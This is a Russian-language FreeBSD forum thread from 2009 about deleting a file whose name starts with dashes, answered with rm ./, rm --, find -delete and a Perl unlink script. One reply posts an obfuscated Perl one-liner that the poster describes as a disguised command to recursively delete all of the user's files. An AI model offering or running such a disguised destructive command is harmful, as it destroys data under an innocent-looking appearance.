Страница 1 из 2
Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 4:36:13
helloworld
Any ideas?
Код: Выделить всё
-rwxr-xr-x 1 user user 128 Jan 22 2003 ------ Name (2004) ------.mp3
Код: Выделить всё
%rm "------ Name (2004) ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 4:55:57
paradox
перенести его в папку и снести папку рекурсивно)
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:05:04
f_andrey
helloworld писал(а):Any ideas?
Код: Выделить всё
[> tar cvf "------ Name (2004) ------.mp3" ../pkg_desk
a ../pkg_desk
> ls
------ Name (2004) ------.mp3
> rm "5 минут чтения мана и эксперементов по созданию файла :)"
> ls
> uname -rm
8.0-CURRENT amd64
Да вы батенька затейник
paradox писал(а):перенести его в папку и снести папку рекурсивно)
Не по самурайски хотя и работает, если убедишь cp перенести его

хотя тоже должно быть возможно

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:06:39
ProFTP
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:09:02
f_andrey
ProFTP писал(а):
а так типо не работает?
А должно?
Проверь

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:13:16
ProFTP
нет, пробелы мешают...
Код: Выделить всё
$ touch ------\ Name\ \(2004\)\ ------.mp3
touch: illegal option -- -
usage:
touch [-A [-][[hh]mm]SS] [-acfhm] [-r file] [-t [[CC]YY]MMDDhhmm[.SS]] file ...
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:14:01
helloworld
tar, cp, mv , rm говорят одно и тоже -
Код: Выделить всё
%rm "------\ Name\ \(2004\)\ ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:15:14
ProFTP
перлом попробуй удалит
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:23:12
ProFTP
Код: Выделить всё
#!/usr/bin/perl
$num=unlink "------ Name (2004) ------.mp3" or die "piska $!";
ил поставь вайн и удали винраром
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:32:10
helloworld
Окей, перл удалил.
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:36:25
paradox
man unlink ?
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:39:55
f_andrey
helloworld писал(а):Окей, перл удалил.
Ну как так можно пожалеть 5 минут на ознакомление с системой

а ведь вопрос специально выделен в
man rm писал(а):The rm command uses getopt(3) to parse its arguments, which allows it to
accept the `--' ...
Ну и решение крайне просто
там возможны небольшие вариации, так как имя весьма неоднозначно

а вообще правильно монтируйте и таких траблов возникать не должно.
И пользуйтесь пользуйтесь системой, не боясь читать man если что то не ладится, там все описано

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:45:07
ProFTP
вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)
Код: Выделить всё
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 5:53:41
f_andrey
ProFTP писал(а):вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)
Ага еше можно систему переустановить

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 6:53:46
zg
Способ сложный:
Код: Выделить всё
zg# echo > "------ Name (2004) ------.mp3"
zg# ls -lah
total 6
-rw-r--r-- 1 root wheel 1B 26 июл 09:57 ------ Name (2004) ------.mp3
d--x--x--x 2 zg wheel 512B 26 июл 09:57 .
drwxr-xr-x 16 zg wheel 1,5K 13 июл 10:53 ..
zg# rm ------\ Name\ \(2004\)\ ------.mp3
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
unlink file
zg# find . -name "------ Name (2004) ------.mp3"
./------ Name (2004) ------.mp3
zg# find . -name "------ Name (2004) ------.mp3" -delete
zg# ls
zg#
Способ правильный:
Код: Выделить всё
zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 7:06:59
Гость
zg писал(а):Способ правильный:
Код: Выделить всё
zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#

на мой взгяд использовать
-- для завершения парсинга опций более разумно. Например,
или
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 7:14:30
f_andrey
Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
Ну может быть, man тоже рекомендует как первый так и второй способы.
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 7:19:08
zg
Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
главное чтобы работало

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 7:54:46
Гость
f_andrey писал(а):Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
Ну может быть, man тоже рекомендует как первый так и второй способы.
первый способ подходит только для команд, работающими с именами файлов. Я не просто так привел пример с fgrep(1).
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 15:27:33
gloom
mc тако удаляет переименовывает копирует...
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 20:16:54
Alex Keda
gloom писал(а):mc тако удаляет переименовывает копирует...
ф топку
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-26 21:51:16
gloom
lissyara писал(а):gloom писал(а):mc тако удаляет переименовывает копирует...
ф топку
желательно но не обезательно
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-27 8:50:59
ViktorichZ
можно и так rm -f '*Name\ \(2004\)*.mp3'
и так rm -f '\-\-\-\-\-\-\ Name\ \(2004\)\ \-\-\-\-\-\-.mp3'

))
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-27 9:13:10
squid
find использует параметр удаления
Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?
Добавлено: 2009-07-28 8:41:07
detx
а если отсьавить в папке только это, и rm *.*.
А mc удалять пробовали?????